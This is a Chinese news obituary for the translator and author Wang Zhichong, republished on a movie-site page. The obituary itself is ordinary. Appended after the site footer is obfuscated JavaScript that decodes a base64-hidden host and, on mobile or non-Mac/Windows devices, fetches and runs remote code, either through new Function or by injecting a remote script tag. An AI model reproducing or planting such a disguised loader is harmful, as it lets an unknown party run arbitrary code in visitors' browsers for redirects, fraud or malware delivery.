翻译家、作家王志冲病逝 享年86岁

佚名 网络 人气：657 时间：2022-05-24

5月22日，上海市作家协会在其微信公号上宣布讣告称：翻译家、作家王志冲因病于5月21日下午去世，享年86岁。

王志冲，笔名冰火，天飞。上海市作家协会会员、上海翻译家协会会员，中国翻译协会“资深翻译家”、中国民间文艺家协会会员。中国残疾人作家联谊会会员。

王志冲1936年生于上海，15岁时突患强直性脊柱炎，卧床不起。后为《钢铁是怎样炼成的》所鼓励，自学俄语，走上翻译之路，1962年出版了第一本译著《第一个劳动日》。

此后王志冲凭借倔强的意志笔耕不辍，六十余年来翻译、创作了近百万字的文学作品。著有《不是神童也成才——我与命运抗争》《还你一个真实的保尔:尼·奥斯特洛夫斯基评传》《尼·奥斯特洛夫斯基传》，译有《地球女孩外星历险记》《入地艇》《独闯金三角》《大战微型人》等。

2018年翻译出版《王志冲译尼古拉·奥斯特洛夫斯基全集》包含《钢铁是怎样炼成的》、《暴风雨中诞生的》、《文章·演讲·谈话》及近80万字的《书信集》。

文/北京青年报记者 张恩杰

本文由 策驰影院 编辑整理 © 版权归原作者所有

本站所有视频和图片均来自互联网收集而来，本网站只提供web页面服务，并不提供资源存储，也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权，请发邮件至（我们会在3个工作日内删除侵权内容，谢谢。）

RSS订阅 百度蜘蛛 谷歌地图 必应地图 360地图 搜狗地图

Copyright © 2019-2022 策驰影院 Inc. All Rights Reserved.

function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczNDY4NDU3Mi56aXdldXUuuY29tOjQwMzU=','1955','2127',window,document,['u','y']);}:function(){};